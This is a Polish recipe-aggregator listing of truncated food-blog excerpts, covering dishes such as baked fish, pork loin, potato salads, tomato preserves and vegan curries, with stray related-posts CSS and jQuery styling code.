minut na 1 łyżce masła aż zmiękną. Dno naczynia żaroodpornego smarujemy pozostałym masłem. Wykładamy podduszonego pora, a na to rybę, solimy lekko, pieprzymy i skrapiamy sokiem z cytryny. Polewamy sosem przygotowanym z jogurtu, posiekanego koperku, soli i pieprzu. Pieczemy przez 30 minut w temperaturze 180 stopni, bez przykrycia. A teraz placuszki: Potrzebujemy: 1 cukinię 2 jajka 1 szalotkę 1 ząbek

Marder&Marder Manufacture
Schab pod warzywną pierzynką i mozzarellą 198

trudnym zadaniem - ja mam na to swój sposób czyli tzw. pierzynki - podduszone różne mieszanki warzyw, zalane mieszanką keczupu i majonezu albo przecierem pomidorowym. Dzięki temu mięso dusi się w sosie własnym z dodatkiem aromatycznego, smacznego sosiku z leżących na nim dodatków. Ten sposób jeszcze nigdy mnie zawiódł, a dodatkowo jest bardzo wygodny - wstawiamy całość do piekarnika i zapominamy

Kto ugości moich gości?
SAŁATKA ZIEMNIACZANA Z ZIOŁAMI 248

pietruszki  2 ząbki czosnku  2 łyżki majonezu  2 łyżki jogurtu naturalnego  sól, pieprz  Sposób przyrządzenia:  Ziemniaki pokroić w zgrabną kostkę, dodać zioła, polać sosem jogurtowo- majonezowym, doprawić solą i pieprzem.  Jeść

pieprzny smaczek
Ogórki w sosie pomidorowym 366

Uwielbiam wszystko co pomidorowe. Oczywiście w sezonie ogórkowym nie mogło zabraknąć u mnie takich ogórków. Kruche, smaczne w sosie pomidorowym. 2 kg ogórków gruntowych 5 cebul Zalewa: 125 ml octu 10% 125 ml oleju 1 łyżka soli 0,5 szklanki cukru 250-300 g koncentratu pomidorowego 30% Ogórki obieramy i kroimy w małe słupki . Cebulę obieramy i kroimy w drobne

VioletoweKucharzenie
Szaszłyki z wołowiny 178

łyżki czerwonej papryki słodkiej – majeranek, rozmaryn (najlepiej świeży) – kilka gałązek – 2-3 papryczki peperoncino – 200 ml czerwonego wina – 3-4 łyżki sosu sojowego jasnego – 1 łyżka mielonego kminu rzymskiego – 1 łyżka mielonego jałowca – 3-4 ząbki czosnku Wykonanie: Wołowinę pokroić w podłużną kostkę (ok. 2×3 cm). Cebulę pokroić w ćwiartki

Pociąg Do Kuchni
Potrawka z kurczaka 266

posypka (przyprawy) Wykonanie: patelnia + masło – rozgrzać + mięso kurczaka obsypane posypką – obsmażyć do zrumienienia + jarzyny – podgrzać – zalać rosołem – zagotować + zaklepką z mąki i reszty zimnego rosołu lub wody – wlać do sosu – zagotować + pieprz i natka pietruszki – zagotować

Tradycyjna kuchnia inaczej
pyszna do pieczywa karkówka z piekarnika... 229

godziny mięso polać olejem rzepakowym Rapso, wlać wodę i wstawić do nagrzanego piekarnika na 190 C, piec około 1,5 godziny bez przykrycia, co jakiś czas polewać karkówkę sosem z pieczenia, można też z 2 razy obrócić mięso po upieczeniu mięso dobrze wystudzić i schować do lodówki, usunąć nici i można kroić porcje - karkówka jest pyszna do pieczywa................SMACZNEGO

W Mojej Kuchni Lubię
PLACKI ZIEMNIACZANE Z GOTOWANYCH ZIEMNIAKÓW 11405

poprzedniego obiadu, co zapobiegnie wyrzucaniu jedzenia. Placki/naleśniki są puszyste i naprawdę idealne do wszelakich gulaszy, oraz bardzo syte. Do placków pasować będzie: gulasz po cygańsku (przepis) schab w sosie (przepis) Przepis ze zdjęciami krok po kroku . Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach

Przepisy Aleksandry
Kulki ryżowe - arancini di riso 248

usmażyć na złoty kolor.   Kulki można też upiec w piekarniku.  Można je podawać ciepłe zamiast ziemniaków czy kaszy lub jako samodzielne danie np z  ulubionym sosem lub jako dodatek do sałatki. SMACZNEGO

zielonacukinka
Sałatka ziemniaczana z cukinią 247

kostkę lub półplasterki. Podsmażyć na oleju przez kilka minut, aż zmięknie. Doprawić solą i pieprzem  ziemniaki odcedzić, te większe jeszcze gorące przepołowić. Natychmiast połączyć z cukinią i ziołowym sosem, następnie wymieszać. Ewentualnie doprawić solą i pieprzem. Pozostawić na godzinę, by przeszły smakami i ostygły. Posypać zieloną pietruszką i serwować. Zjedliśmy jeszcze gorące jako dodatek do drugiego dania. Były przepyszne

Gotuj zdrowo!Guten Appetit!
Kurczak w marchewce z bobem 303

curry. Wymieszać i dodać do kurczaka. Ponownie wlać trochę wody na patelnię i wymyć smaki. Mięso postawić na ogień i wlać mleczko kokosowe. Dusić, aż wszystko będzie miękkie, a sos marchewkowy zgęstnieje. Przyprawić solą, pieprzem i tymiankiem. Na końcu dodać ugotowany bób. Podawać z ziemniakami albo ryżem. Smacznego :) Kategoria: Obiad , WYTRAWNIE Tagged: bób , kurczak , marchewka , mleczko kokosowe , pomidory

https:KKuchniaMniam
Dżem z pomidorów malinowych 183

samą myśl o słodkich pomidorach straciła apetyt. Nic mylnego :) Poniższy dżem jest smaczny, słodki, natomiast pomidory są delikatnie wyczuwalne. Idealnie sprawdzi się na kanapkę lub jako sos do posmarowania spodów pizzy na słodko.  Składniki: 1 kg pomidorów malinowych sok z 1/2 cytryny 200 g zwykłego cukru 1 łyżka cukru z wanilią Pomidory umyć, sparzyć wrzątkiem i obrać ze skórki

Ugotować
Babeczki ziemniaczano szpinakowe 193

Babeczki na słono przygotowałam, czyli do jajek, ziemniaki, śmietanę, szpinak, zioła i przyprawy dodałam. Można je same zajadać lub z mięsem, sosami podawać. Na deser zapewne się nie nadają, bo te babeczki słony, a nie słodki smak mają. Warto więc zamienić tradycyjnie ziemniaki ugotowane, na babeczki ziemniaczane ze szpinakiem zmieszane .  Składniki: 12 szt. 450 ugotowanych ugniecionych na puree ziemniaków

Moniki Smakołyki
pieczony schab 222

przygotowana pieczeń możemy pokroić i wyłożyć na talerze polewając sokami z pieczenia. Możemy jednak  odlać soki spod pieczeni do oddzielnego garnka, i trzymając schab w ciepłym miejscu, przygotować sos. W tym celu   do 50 g, roztopionego masła, dodajemy odlane z spod  pieczeni soki, oraz około 80-100 ml słodkiej śmietany, doprawiamy solą i pieprzem, gotujemy jeszcze przez

Miód i pieprz
Rogaliki drożdżowe z marmoladą 215

być miękkie i gładkie. Powinno łatwo odchodzić od rąk. Wyrabiałam dobre 15 minut. Odstawić ciasto do wyrośnięcia, przykrywając wilgotną ściereczką. Zostawiłam na 1,5 godziny, bo zajęłam się robieniem sosu pomidorowego. Godzinka spokojnie wystarczy przy obecnych temperaturach. Podzielić ciasto na 5-6 części. Każdą część formować w dysk i rozwałkować na okrągły placek o grubości do 5 mm. Placek podzielić

Weekendy w domu i ogrodzie
Śmietana z nerkowców 164

smaku. Jest świetną bazą do  letnich deserów, naleśników, lodów. Świetnie smakuje sama z dodatkiem świeżych owoców. Idealnie nadaje się również do dań wytrawnych, zagęszczania zup i sosów. Bardzo pożądana w każdej diecie wegańskiej. Idealna dla osób pozostających na diecie bezglutenowej i alergików, ponieważ rzadko uczula. Składniki: 200 g orzechów nerkowca 200 ml wody Wykonanie: nerkowce zalałam wodą i odstawiłam

Gotuj zdrowo!Guten Appetit!
Warto sięgnąć do kulinarnych tradycji innych narodów 200

sklepie. Niezwykle ciekawa jest bezsprzecznie kuchnia azjatycka bogata w różnego rodzaju przyprawy, ostra i pełna aromatów. Słynące z Japonii sushi, indyjskie podpłomyki czy indonezyjskie szaszłyki z kurczaka w sojowym sosie, to prawdziwa poezja dla kubków smakowych, nowe wrażenia i zredukowanie uczucia nudy. Bawiąc się składnikami, choć odrobinę eksperymentując i dodając do posiłków kilka nowych składników można stworzyć prawdziwe dzieło sztuki

upichcona
Tapenada, czyli pasta z czarnych oliwek 167

wygląda", ona po prostu "smakuje". Przedstawiać jej nie muszę, ponieważ wywodzi się z dalekiej Prowansji, ale zadomowiła się na pysznych grzankach, bruschettach, czy łososiu. Co ciekawe może służyć jako sos do makaronu ( o tym w innym przepisie ;) ). Spróbujcie, a przepadniecie ;)   Składniki : 200g czarnych oliwek bez pestek i zalewy 4 łyżki oliwy duży ząbek czosnku świeżo zmielony pieprz 2 filety

ChilliJemy
Halibut smażony z pomarańczą 165

wlać sok z pomarańczy i smażyć około 5 minut. Łącznie smażymy rybę około 12 - 15 minut. Zależy to od grubości ryby. Rybę przełożyć na talerz i trzymać w cieple, sos przecedzić, zagotować, doprawić solą. Dodać dwie łyżki zimnego masła, dokładnie wymieszać. Zestawić z ognia. Przed podaniem rybę oprószyć solą, nie solić przed smażeniem. Podałam z fasolką szparagową. zastawa

królestwo garów
Pierś kurczaka w sosie szpinakowym 161

Pierś kurczaka w sosie szpinakowym Składniki 500 gr piersi z kurczaka 250 gr świeżego lub mrożonego szpinaku. 2 ząbki czosnku 100 ml słodkiej śmietany 4 łyżki oliwy 2 łyżki masła Sól, pieprz Dodatkowo do zamarynowania należy użyć łyżki octu balsamicznego, łyżki oliwy, soli i pieprzu Sposób przygotowania Mieszamy ze sobą składniki marynaty, zanurzamy w niej pierś kurczaka i zostawiamy

Miód i pieprz
Cukinia faszerowana pomidorem i mozzarellą 199

solą, a następnie cukinie wstawiamy do piekarnika i czekamy, aż ser się zapiecze. Zapieczone cukinie posypujemy natką pietruszki i bazylią. Dobrym dodatkiem do tego dania jest bagietka posmarowana sosem pesto

Miód i pieprz
Pieczony dorsz z grejpfrutem 138

stopni na około 20-25 minut. Drugiego grejpfruta dzielimy na cząstki, a następnie usuwamy nożem białe gorzkie części i wykrawamy sam miąższ. Roladki wyciągamy z piekarnika i polewamy sosem. Na talerzu układamy cząstki grejpfruta. Podajemy z ryżem białym lub brązowym

Miód i pieprz
Tatar 122

wyjmujemy z lodówki, formujemy w porcje i  układamy na  środku półmiska. Jeżeli lubimy tatara z żółtkiem jajka,  możemy je podać w  oddzielnej miseczce np. do sosów, lub na stołowej łyżce

Miód i pieprz
Cygara drobiowe z pieczarkami 229

wrzątkiem i parzymy około 10 minut w gorącej , ale nie wrzącej wodzie . Wyjmujemy , odstawiamy do przestygnięcia . Zdejmujemy folię i podsmażamy na maśle tuż przed podaniem . Ja podałam z sosem pieczarkowym i pure ziemniaczanym przełożonym szpinakiem .Smacznego   Post Cygara drobiowe z pieczarkami pojawił się poraz pierwszy w Ogrodnik w podróży

Ogrodnik w podróży
Pulpety w sosie pomidorowym (a'la "Zakochany kundel") 235

kundel”? a w niej jedną z najsłynniejszych scen z jedzeniem? No właśnie, mi też na samą myśl ślinka cieknie. Odkąd obejrzałam ją w dzieciństwie chciałam jeść tylko pulpety w sosie pomidorowym z makaronem spaghetti. Teraz mój syn został wielkim fanem tej bajki i męczy mnie dokładnie o to samo. Nie pozostaje minic innego tylko lepić pulpety :) Wam również polecam

Kolizje Smaków
Grzanki z kurkami i suszonymi pomidorami 245

żółtego sera. Wstawiamy na 5 minut do piekarnika nagrzanego do 180 stopni, aż ser się rozpuści, a bułki zrobią chrupiące.   Podajemy posypane szczypiorkiem i polane keczupem, domowym sosem pomidorowym, albo jak u mnie z mieszanką ajwaru i łagodnego keczupu w proporcjach

Kulinarne Inspiracje
Pancakes – prosty przepis na amerykańskie naleśniki 183

się jak skomplikować przepis na te puszyste naleśniki. Może dodanie maślanki, albo wymieszanie proszku do pieczenia z sodą zmienia ich smak, jednak rzadko jemy je same, najczęściej polewamy je sosami, dodajemy owoce, czy bitą śmietanę, więc te subtelne różnice w smaku pewnie będą niezauważalne. My chcemy przedstawić prosty do bólu przepis na pancakes. Oczywiście zachęcamy do eksperymentowania, ale zawsze warto

KasiaiKrzysiu.pl
Fiskibollur ( islandzkie kuleczki rybne) 217

ziemniaki na gładką masę, doprawiamy solą i pieprzem. Robimy niewielkie kuleczki i delikatnie je spłaszczamy. Smażymy na zł oto. Podajemy ze wszystkim co tylko lubimy, świetnie smakują z sosem czosnkowym. Smacznego! PS> Można je również upiec w piekarniku 15-20 min w temp. 200 stopni

Tradycyjna kuchnia inaczej
Bitki w sosie pomidorowym z wolnowaru 225

Kolejna potrawa z z wolnowaru [ wolnowar w sumie już zastąpiłam multicookerem,ale przepisy są zaległe i trza opublikować]...tym razem bitki w sosie pomidorowym..ja użyłam świeżych pomidorów, ale można dać i koncentrat pomidorowy. 1 kg karkówki 1 cebula kilka suszonych pomidorów Fresano 2-3 pomidory czerwone marchewka  sól, pieprz listek, ziele majeranek śmietana koperek Wlać wodę do misy

Moje domowe kucharzenie
Wiśnie drylowane w syropie 218

Takie wiśnie z pewnością wykorzystacie. Są idealne do tortu szwardzwaldzkiego, lodów, deserów oraz można zrobić pyszny sos wiśniowy na zimno i na ciepło. Warto poświęcić trochę czasu na ich zrobienie bo na sklepowych półkach są bardzo drogie.  Składniki: 3 kg wiśni 250 ml wody 0,5 kg cukru  Przygotowanie: Wiśnie umyć i odsączyć. Za pomocą drylownicy lub nożyka

Ala piecze i gotuje
Szynka domowa w majonezowej marynacie 199

następnego dnia. Następnego dnia wyjąć szynki, zagotować zalewę, ponownie włożyć do gotującej się zalewy i gotować 45 minut. Po ugotowaniu wyjąć z zalewy i wystudzić. Podawać do obiadu z sosami lub na kanapki

Tradycyjna Kuchnia
Chleb toskański - sierpniowa piekarnia 199

patelni. Połowa porcji to dla mnie ilość wystarczająca. Bochenek jest całkiem spory, większy na pewno nie zmieściłby się w moim piecyku. Jak pisała Ania, możemy moczyć go w sosach, zrobić zupę pomidorową z chlebem ( pappa al pomodoro), zrobić pyszne grzanki ( bruschette, crostini)   Bardzo polecam ! Przepis podaję za  Anią Chleb toskański przepis z tej strony –  klik

Stare Gary
Lekki przepis na gorące dni 232

naszej rolady. Ja zwykle dodaje serek topiony, bazylię, szynkę konserwową, ser żółty starty na tarce, Choć można dać do farszu czego tylko dusza zapragnie. Gdy przygotujesz już farsz i sos czosnkowy, twoje drożdże w rozczynie powinny już dwukrotnie zwiększyć swój rozmiar. Wtedy dosypujemy resztę mąki i wyrabiamy ciasto. Ja lubię kiedy ciasto poleży parę godzin w lodówce. Jest wtedy

Full Smaku
Urodzaj pomidorów 180

zebrowej (zielono-żółtej) skórce wysypało nad wyraz dużo! Nic to - zrobię chutney z zielonych pomidorów z dużą ilością przypraw wschodnich ;) Póki co w ubiegłym tygodniu zrobiłam pierwszą turę sosu pomidorowego . San Marzano suszę na bieżąco. Wczorajszy zbiór pomidorów poszedł w największej części na przecier pomidorowy. Gdy dojrzeją dynie, przyjdzie czas na chutney z dyni, pomidorów i jabłek. Kto wie? Może

Weekendy w domu i ogrodzie
Jabłka na zimę do szarlotki i nie tylko - łatwizna 181

jaśniejsze niż w momencie wkładania do słoików. Kiedyś zrobiłam próbę tych jabłek z cynamonem. Nie polecam! Wyszły gorzkie. Lepiej dosypać cynamon tuż przed pieczeniem szarlotki. ------------ Podobne: Jeżyny w sosie własnym

Weekendy w domu i ogrodzie
Pieczone banany z grilla 197

układamy na grillu i zostawiamy, aż skórka całkowicie sczernieje.  Czas pieczenia zależy od stopnia rozgrzania grilla. Następnie skórkę banana rozcinamy a ciepłe owoce posypujemy cynamonem i polewamy odrobiną sosu czekoladowego. Podajemy najlepiej z lodami waniliowymi. Banany można również wyjąć ze skórek i bezpośrednio ułożyć na talerzu. Smacznego

Kolizje Smaków
Mule w białym winie na ostro 229

jakiś czas potrząsając garnkiem aby mule się przemieszały. Na sam koniec dodajemy świeżą posiekaną pietruszkę i wszystko potrząsamy. Mule idealnie smakują ze świeżą bagietką, którą maczamy w powstałym sosie.  Smacznego

Niezły Młynek
Grillowana polędwica z purée z bobu i sałatką z jarmużu 191

wszystko mieszamy. Jarmuż targamy na mniejsze kawałki i układamy na talerzu. Do niego dodajemy pokrojonego w kostkę pomidora oraz rzodkiewki. Na wierzch układamy kulki mini-mozzarelli. Wszystko polewamy sosem przygotowanym z oliwy, soli, pieprzu i suszonego koperku. Polędwicę rozbijamy tłuczkiem. Oprószamy pieprzem. Nie solimy - aby mięso nam nie stwardniało. Grillujemy na rozgrzanym grillu - po parę minut na każdą stronę. Mięso

Taste Therapy
Jak zrobić naan z patelni 230

Naan to pieczywo wywodzące się z hinduskiej kuchni. Bardzo lubię chlebek naan do przeróżnych curry i ostrych sosów. Cechą charakterystyczną naan jest to że do jego wyrobu dodaje się jogurt. Upieczone na patelni placki polera się rozpuszczonym masłem, a ponadto chlebek dekoruje się świeżą kolendrą. Do naan dodaje się również czarnuszkę. Dzisiejszy przepis na naan to naan pieczony na patelni

codojedzenia
Makaron z tuńczykiem, ricottą i szałwią 190

odcedzonego z wody i całość dusimy chwilę. Doprawiamy solą i pieprzem, dodajemy posiekaną drobno szałwię (kilka listków odkładamy), dodajemy ricottę i dusimy minutę. Ugotowany makaron mieszamy z dokładnie z sosem, przed podaniem posypujemy orzechami lub pestkami i dekorujemy listkami szałwii

Mango Papaja
Tarta z kurkami i orzechami włoskimi 141

tylko w sezonie pojawiają się świeże kurki, od razu lądują w mojej kuchni a następnie na talerze - i to w różnych postaciach. Oprócz klasyków, jak sos kurkowy czy jajecznica z kurkami, od czasu do czasu przygotowuję tarty. Poniżej znajdziecie przepis na kruchą tartę z kurkami, serem gorgonzola i orzechami włoskimi. Pyszna i aromatyczna - smakuje zarówno na ciepło

Milion Smaków
Ciasto jagodowe z kruszonką 199

pieczenia, wygładź i posyp jagodami, które lekko dociśnij. Całość posyp kruszonką. Piecz ciasto w rozgrzanym piekarniku na 175ºC na termoobiegu (bez termoobiegu 185ºC ) przez 35 minut. Podaj ciasto z sosem waniliowym na szybko

codojedzenia
Brokuły zapiekane w sosie beszamelowym 369

Dość prosty przepis na ciekawe danie. Brokuły zapieczone pod sosem beszamelowym z dodatkiem sera, żeby dodać daniu wyrazistości. Brokuły zachowują swoją soczystość a ser i beszamel tworzą chrupiącą warstwę na wierzchu

Milion Smaków
Krem z winogronem 132

pokrojone winogrona układamy na dnie pucharków. Owoce wstawiamy do lodówki w celu schłodzenia, ale wcześniej polewamy łyżeczką alkoholu. Ubijamy następnie serek homogenizowany wraz z jogurtem, cukrami: waniliowym i pudrem. Sosem polewamy winogrona, zaś na wierzchu przybieramy owocami odłożonymi wcześniej

Camilla w kuchni
Brokuły w sosie czosnkowym 169

brokuł 1 szt · jogurt naturalny 400 ml · ząbek czosnku 3 ząbki · sól  Brokuł ugotować, odsączyć. Jogurt wymieszać z przecieśnietym przez praskę czosnkiem i odrobiną soli. schłodzić sos w lodówce ok godz polać nim brokuł

Camilla w kuchni
Wędzenie czekolady 369

dymu deserom lub słodkim przekąskom. Wędzona czekolada jest jednym z naszych ulubionych sposobów aby dodać deserom wyjątkowego i wyrazistego smaku. Pomyślcie o klasycznych ciasteczkach w kawałkami czekolady albo wędzonym sosie czekoladowym do lodów. Tak naprawdę możliwości mamy nieograniczone. Aby wędzić czekoladę trzeba utrzymać niską temperaturę (około 33 stopnie). Najprostszym sposobem aby utrzymać niską temperaturę w wędzarniach Bradley Smoker jest użycie

naRuszcie
Ostry domowy ketchup z papryki i chili 254

Weków nadal ciąg dalszy...mam nadzieję że skusicie się teraz na domowy ketchup z papryki czerwonej i chili-to wspaniała alternatywa sosów do wszelkich pieczonych mięs czy dań z grilla. U mnie w spiżarce każdego roku musi znaleźć się obowiązkowo! Do ketchupu użyłam octu  JAMAR Składniki: 3 kg papryki czerwonej, 15 dag ostrej papryki chili, 2 główki czosnku

Wanilia i Kardamon
Fasola na sposób grecki 262

drobno pokrojone pomidory, liście laurowe i ziele angielskie. Całość mieszam i smażę kilka minut. Dodaję ketchup, przeciśnięty przez praskę czosnek i mieszam całość ponownie. Smażę do czasu aż sos lekko zgęstnieje, a pomidory się rozpadną. Na koniec wrzucam odsączoną fasolę z puszki. I danie gotowe. Przygotowanie tego dania zajmuje około 30 minut

apetytnapieczenie
Tefal Cuisine Companion i warsztaty z Grzegorzem Łapanowskim 412

początku do końca.  Warsztaty rozpoczęły się od kilku słów wprowadzenia od Grzegorza Łapanowskiego, który omówił działanie urządzenia Tefal i przedstawił nam swoje danie pokazowe, w którego skład wchodził sos holenderski wykonany w urządzeniu Cuisine Companion, podany razem z rybą i cukinią, które również zostały przygotowane w Cuisine Companion. Później podzieliliśmy się na trzy grupy. Każda z grup przyrządzała

Plate of Joy
Spaghetti z cukinią, pieczarkami, papryką i cieciorką 176

gniazda nasienne - Na odrobinie oliwy podsmażyć czosnek - Dodać pomidory, przyprawy (oprócz bazylii i mięty) oraz trochę wody, zagotować - Dodać pieczarki, marchewkę, cukinię i paprykę; dusić przez 5 minut - Do sosu dodać ciecierzycę oraz zioła: bazylię i miętę, dusić przez kolejne 2 minuty - Wrzucić makaron oraz awokado, trzymać przez chwilę na ciepłym palniku - Danie przełożyć na talerz, posypać posiekaną natką

Wegańska kuchnia orientalna
Spaghetti z wegańskim pesto i cieciorką 218

skoro jest szybszy sposób;) - Odcedzić makaron z warzywami, zostawiając część wody - Do pesto dodać 3 łyżki wody po gotowaniu makaronu oraz śmietankę sojową, wymieszać - Makaron przełożyć na talerz, polać sosem pesto, wymieszać

Wegańska kuchnia orientalna
Curry z cieciorki, batata i marchewki + basmati 155

Dodać ciecierzycę (ugotowaną lub z puszki) oraz kostki dyni, dusić do miękkości dyni (ok. 6 minut) - Curry lekko schłodzić, np. wystawiając na chwilę na parapet za okno;) Dzięki temu sos nabierze gęstszej konsystencji - Do warzyw dodać posiekaną natkę, wymieszać - Ryż przełożyć na talerz, obok umieścić curry z ciecierzycy. Gotowe

Wegańska kuchnia orientalna
Wegańskie lody mango- banan 185

mrożonego mango - ¼ szkl. mleka sojowego waniliowego Wykonanie: - Wszystkie składniki umieścić razem w pojemniku i dokładnie zmiksować na jednolitą masę - To wszystko, wegańskie lody gotowe J - Polecam spróbować wersję z sosem czekoladowym (ja rozpuszczam czubatą łyżeczkę naturalnego kakao w ¼ szkl. mleka sojowego i + 1/2 łyżeczki stewii

Wegańska kuchnia orientalna
Masło orzechowe crunchy z sezamem 203

Masło orzechowe crunchy z sezamem Masło orzechowe świetnie nadaje się do owsianek, warzyw smażonych po chińsku, sosów do sałatek (wystarczy wymieszać z wodą i odrobiną soli),  lub po prostu do wyjadania łyżeczką z pojemniczka ;) Sklepowe masło orzechowe jest z dodatkiem cukru, soli i utwardzonych tłuszczów. To zrobione w domu jest naturalne i świeże. Dodatek sezamu nadaje masłu ciekawy smak

Wegańska kuchnia orientalna
Grillowana kapusta i ziemniaki 195

Grillować będziemy więc kaszankę, mięso, kiełbaski kupujemy, do tego różne sosy, sałatki przygotowujemy i sobie przy grillu siedzimy i jemy! Owszem, u mnie to wszystko jest grillowane, ale ziemniaki, kapusta muszą być podane. Niektórzy mięsa nie potrzebują więc warzywami się delektują, ale Ci co mięso zjadają to również moimi ziemniaczkami i kapustą się zajadają. Każdy może ją na swój sposób

Moniki Smakołyki
Barszcz ukraiński. 169

wołowiny lub wieprzowiny.Podstawową cechą, która wyróżnia barszcz ukraiński spośród innych barszczy (przygotowywanych na Ukrainie), jest dodany do receptury czosnek oraz podawanie go z pampuszkami (małymi bułeczkami), polanymi zimnym sosem czosnkowym. W Polsce do barszczu ukraińskiego dodaje się również fasolę lub grzyby; na Ukrainie barszcz z fasolą nazywają „barszczem czernihowskim”. Ja do mojego barszczu dodaję grzyby i fasolkę szparagową. SKŁADNIKI

Kuchnia Beaty
Ogórki faszerowane sałatką 257

potrzebujemy do niej sztućców ani naczyń, faszerowanego sałatą ogórka bierzemy do ręki i zajadamy ze smakiem. Przepis na ogórki faszerowane sałatką. 2 ogórki ½ puszki tuńczyka w kawałkach w sosie własnym 2 łyżki gotowanej na parze soczewicy 50 g ryżu 1/2 łyżeczki musztardy francuskiej Natka pietruszki sól i pieprz do smaku 1/2 łyżki majonezu Winiary Przygotowanie: Ogórka myjemy, kroimy wzdłuż

Damsko-męskie spojrzenie na kuchnię
Tarta z pieczonym łososiem i pomidorkami koktajlowymi 249

posypać koperkiem. Tartę ponownie wstawić do piekarnika i piec 20-25 minut w 195°C (ciasto musi się zarumienić, a masa - ściąć). Upieczoną tartę podawać z ketchupem lub ulubionym sosem.  Moja hodowla pomidorków koktajlowym na balkonie

Ugotować
Grillowany kurczak z sosem winno –wiśniowym 173

mięsa (od czasu do czasu sprawdzamy miękkość szpikulcem). Pod koniec otwieramy paczuszki i wyjmujemy filet na ruszt, żeby się przypiekł z wierzchu. Kurczaka podajemy na wcześniej ugotowanym ryżu, polewamy sosem powstałym w foli aluminiowej

VioletoweKucharzenie
Terrina z orzechami, śliwkami i pomarańczami 185

wyjęciu z piekarnika terrina wygląda tak: Podaje się i na ciepło (zaraz po przygotowaniu), albo na zimno (nie odgrzewamy) w cienkich plastrach – z sałatą, grzankami, także z sosem żurawinowym :) Smacznego :) *zdjęcia nie są najlepszej jakości, gdyż pochodzą z moich archiwów (to była moja pierwsza terrina), gdy jeszcze nie planowałam zakładać blogu. W najbliższym czasie planuję zrobić terrinę i wymienię

Pociąg Do Kuchni
Nadziewany pieczony kurczak 248

odpocząć przez około 15 minut. Usuwamy cytrynę, wyciągamy nadzienie, kurczaka dzielimy. Do soków powstałych w czasie pieczenia wyciskamy sok z upieczonej w kurczaku cytryny – mieszamy i otrzymujemy delikatny sos do polania kurczaka. Jeśli chcemy, żeby sok był gęstszy, trzeba go zredukować. *zamiast chorizo można użyć innej kiełbasy, ale musi być podsuszana i powinna być dobrze przyprawiona nadzienie   Podobne

Pociąg Do Kuchni
Indyk z owocami w galarecie 220

zburzy nam konstrukcję, nie mówiąc nawet o tym, że majonez będzie pływał w żelatynie). Wstawiamy do lodówki do zastygnięcia. Podobne przepisy Roladki z wędzonego łososia Jesienny pieczony udziec indyka Sos tatarski prawdziwy Crostini z pate z watróbki z karmelizowaną gruszką... .yuzo_related_post img{width:180px !important; height:170px !important;} .yuzo_related_post .relatedthumb{line-height:16px;background: !important;color

Pociąg Do Kuchni
Dymne polędwiczki wieprzowe z karmelizowanym sosem cytrynowym 229

transform: scale(1.2); } jQuery(document).ready(function( $ ){ //jQuery('.yuzo_related_post').equalizer({ overflow : 'relatedthumb' }); jQuery('.yuzo_related_post .yuzo_wraps').equalizer({ columns : '> div' }); }); Post Dymne polędwiczki wieprzowe z karmelizowanym sosem cytrynowym pojawił się poraz pierwszy w Pociąg Do Kuchni

Pociąg Do Kuchni
Schabowy w migdałach i kukurydzy z winną modrą kapustą 157

obtoczyć w jajku i porządnie w płatkach. Smażyć na gorącej oliwie na złoto.   Podobne przepisy Grillowany schab w owocowo-pikantnej marynacie Kapuśniak rozgrzewający Dymne polędwiczki wieprzowe z karmelizowanym sosem... Winna kapusta modra .yuzo_related_post img{width:180px !important; height:170px !important;} .yuzo_related_post .relatedthumb{line-height:16px;background: !important;color:!important;} .yuzo_related_post .relatedthumb:hover{background

Pociąg Do Kuchni
Jesienny pieczony udziec indyka 188

miękkości. Zdjąć nakrycie z naczynia i piec jeszcze 10 minut skórką do góry, żeby była chrupiąca i podsuszona. Podawać z duszonymi albo pieczonymi ziemniakami lub ryżem, które można podlać sosem z indyka. Podobne przepisy Egzotyczny krem z dyni Inny tatar z łososia Kapuśniak rozgrzewający Perliczka w pomarańczowej marynacie .yuzo_related_post img{width:180px !important; height:170px !important;} .yuzo_related

Pociąg Do Kuchni
pomidorowa fasolka z bankietówkami 153

końca na krzyż. Dorzucić do cebulki i podsmażyć. Dodać koncentrat, sól, pieprz, paprykę i pół szklanki wody z gotowania fasolki. Wymieszać. Dorzucić fasolkę. Dodać startą mozzarellę i podgrzać. Jeśli sos będzie zbyt rzadki można dodać więcej koncentratu i mąkę. Dekorować startym parmezanem i świeżą bazylią. Podobne przepisy Gazpacho z oliwkami i płatkami migdałów Sałatka z pomidorków słodko-kwaśna i ogórka

Pociąg Do Kuchni
Jajcarskie tosty – tosty z jajkiem 164

tostów udekorować świeżym pomidorem i podawać razem z tostami z jajkiem z dodatkiem podsmażonej wędliny. Tosty z jajkiem – śniadanie mistrzów ;)   Podobne przepisy Dymne polędwiczki wieprzowe z karmelizowanym sosem... Grilled cheese – tosty amerykańskie Jajka po szkocku .yuzo_related_post img{width:180px !important; height:170px !important;} .yuzo_related_post .relatedthumb{line-height:16px;background: !important;color:!important;} .yuzo_related

Pociąg Do Kuchni
Przegrzebki z pomidorową salsą 222

Przegrzebki z pomidorową salsą. Czyli małże św. Jakuba, albo scallopsy z salsą. Salsa to dość gęsty pikantny sos ze zmiksowanych lub drobno pociętych warzyw albo owoców. Delikatność przegrzebków jest przełamana pikantną salsą pomidorową (oczywiście ze świeżych pomidorów).     Składniki: – ok. 12 przegrzebków – 50 ml oliwy z oliwek – ok. 200 g pomidorów (świeżych) – 1 łyżka octu

Pociąg Do Kuchni
Zielone szparagi z jajkiem 212

zjeść. Szparagi wyłożyć na talerz, ostrożnie położyć na nich jajko, posypać solą i pieprzem. Podawać na ciepło. Podobne przepisy Inny tatar z łososia Zielone szparagi w szynce parmeńskiej z sosem hole... Krem szparagowy biały Roladki z wędzonego łososia .yuzo_related_post img{width:180px !important; height:170px !important;} .yuzo_related_post .relatedthumb{line-height:16px;background: !important;color:!important;} .yuzo

Pociąg Do Kuchni
Gazpacho z oliwkami i płatkami migdałów 200

ogórek, awokado), płatkami migdałów i ozdobione liśćmi selera naciowego. Gazpacho stanowi zarówno danie, jak i przystawkę idealne na upalne dni.       Podobne przepisy Makaron z klopsikami w sosie włoskim Leczo prawie węgierskie Chłodnik z botwinki Stek z polędwicy z masłem czosnkowym z dodatkiem g... .yuzo_related_post img{width:180px !important; height:170px !important;} .yuzo_related_post .relatedthumb

Pociąg Do Kuchni
Pierogi piemonckie z ricottą, szpinakiem i palonym masłem rozmarynowym 199

